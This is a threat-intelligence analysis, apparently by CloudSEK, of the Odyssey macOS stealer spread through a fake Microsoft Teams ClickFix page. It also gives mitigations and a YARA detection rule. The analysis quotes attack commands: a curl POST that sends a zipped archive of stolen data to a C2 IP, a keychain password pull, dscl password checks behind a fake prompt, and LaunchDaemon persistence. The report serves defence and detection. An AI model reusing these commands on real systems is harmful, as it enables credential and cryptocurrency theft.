Executive Summary

In early August 2025, Forcepoint released a report about a clickfix campaign that impersonated Tradingview to deliver Odyssey stealer. During routine infrastructure discovery, CloudSEK’s TRIAD identified that the threat actors are now luring users via a fake Microsoft Teams download site. When victims copy the provided command, a base64-encoded AppleScript stealer (Odyssey) is executed. The malware harvests credentials, browser cookies, Apple Notes, and multiple desktop/extension-based cryptocurrency wallets, staging data into /tmp/out.zip before exfiltrating it to its C2. It then establishes persistence via LaunchDaemons and replaces Ledger Live with a trojanized version.

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Analysis 

During the routine attacker infrastructure discovery and attribution cycle, we discovered a number of Clickfix themed delivery websites targeting macOS users. One of those websites was found to be impersonating Microsoft, with a “Microsoft Teams” logo on the delivery page. Hunting using FOFA, we found 24 unique IPs belonging to the same cluster.

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When the victim clicks on “Copy”, a command is copied to the clipboard, depending on the user agent. For windows, it copies the same command shown. For MacOS users, it copies the below:

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Clipboard - macOS useragent

The base64 encoded text, decoded below:

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Contents of delivery script

1) Execution

• One-liner launches a large embedded AppleScript with osascript -e 'run script ...'. No exploit, just script execution. (T1059.002) 

2) Discovery

• Gathers system inventory with system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; stores it as “hardware” in a temp working dir /tmp/<random>/. (T1082) 

3) Credential Access, Privilege Escalation

• Checks if it can auth the local user with dscl . authonly. If not, it prompts the user with a fake dialog: “Required Application Helper. Please enter device password to continue.” It loops until the correct password is entered. (T1056.002, T1110) 
• Tries to pull the Chrome keychain item via security ... find-generic-password -ga "Chrome" and writes a “masterpass-chrome” file. (T1555.001) 
• Stashes the captured password at ~/.pwd. (T1555, T1078) 

4) Collection

Apple ecosystem

• Apple Notes database (NoteStore.sqlite, -wal, -shm) + a fallback that talks to the Notes app to export note bodies into HTML; also vacuums Notes attachments from Notes “Media” folders. (T1119, T1113) 
• Safari artifacts: Cookies.binarycookies, “Form Values”. (T1555.003, T1539) 
• Login keychain copy: ~/Library/Keychains/<HardwareUUID> and login.keychain-db. (T1555.001) 

Browsers (Chromium family: Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Chromium, etc.)

• Walks every Default/Profile * profile and copies:
  
  • Cookies, Web Data, Login Data (saved logins & autofill). (T1555.003)
  • Local Extension Settings/ and IndexedDB/ for a very long allowlist of extension IDs (wallets, password managers, etc.). (T1005) 

Browsers (Gecko family: Firefox, Waterfox)

• Copies cookies.sqlite, formhistory.sqlite, key4.db, logins.json from each profile. (T1555.003)
• Specifically hunts MetaMask storage by parsing prefs.js to derive the extension’s storage path, then copies its idb buckets. (T1005) 

Crypto wallets (desktop apps)

• Recursively copies data for Electrum, Coinomi, Exodus, Atomic, Wasabi, Monero, Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite, plus Ledger Live. (T1555, T1005) 
• Also grabs Binance/TonKeeper config paths. 

Grab-bag

• From Desktop/Documents, quietly copies up to ~10 MB of files with “interesting” extensions: txt,pdf,doc,docx,keys,key,wallet,kdbx,jpg,png,jpeg,rtf. (T1005) 

5) Exfil Preparation

• Mirrors directory trees but skips noisy caches (GPUCache, Code Cache, Crashpad, Cache, etc.). (T1074)
• Archives everything to /tmp/out.zip via ditto -c -k. (T1560) 

6) Exfiltration, C2

• curl -X POST ... --data-binary @/tmp/out.zip http://185.93.89.62/log with headers buildid, username: vipx, repeat: false. Retries on failure. (T1041) 
• Same host serves secondary payloads at /otherassets/plist and /otherassets/ledger.zip. (T1105) 

7) Persistence, Defense Evasion, C2

• LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003) 
• App replacement: kills and replaces Ledger Live.app with a ZIP fetched from the C2, using sudo to remove and unzip into /Applications. (T1036, T1112/T1105) 
• Cleans up the working dir and /tmp/out.zip after upload. (T1070.004) 

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This Odyssey sample runs via osascript, steals keychains, cookies, saved logins, Apple Notes, and dozens of wallet/extension stores, zips everything, ships it to http://185.93.89[.]62/log, then plants persistence (LaunchDaemon) and even replaces Ledger Live with a trojanized copy. The C2 is also hosting the Odyssey stealer login panel.

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Indicators of Compromise

Impact

• Credential Theft: Browser logins, autofill data, keychains, and crypto wallet credentials stolen.
• Data Exfiltration: Notes, documents, screenshots, and up to 10MB of personal files exfiltrated.
• Financial Theft: Direct compromise of crypto wallets (desktop + extension + Ledger Live tampering).
• Persistence & Re-infection: System-level LaunchDaemon ensures long-term access and reinfection risk.

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Mitigations

• Network Controls: Monitor for unusual curl POSTs with zipped data.
• Endpoint Hunting: Audit /Library/LaunchDaemons/ for suspicious com.<digits>.plist and recent osascript executions.
• Credential Hygiene: Reset Apple ID, browser, and wallet passwords; reissue keys from uncompromised systems.
• Containment & Recovery: Remove trojanized /Applications/Ledger Live.app, wipe temp artifacts, and rebuild infected macOS systems if integrity cannot be guaranteed.

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Yara Rule

rule OSX_Odyssey_Osascript_Exec

{

    meta:

        description = "Detects Odyssey stealer AppleScript execution via osascript"

        date = "2025-09-04"

    strings:

        $osascript = "osascript -e 'run script" ascii

        $dscl_auth = "dscl . authonly" ascii

        $security_chrome = "security" ascii wide nocase

        $masterpass = "masterpass-chrome" ascii

    condition:

        all of them

}

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References

• *Intelligence source and information reliability - Wikipedia
• ^#Traffic Light Protocol - Wikipedia
• https://www.forcepoint.com/blog/x-labs/odyssey-stealer-attacks-macos-users

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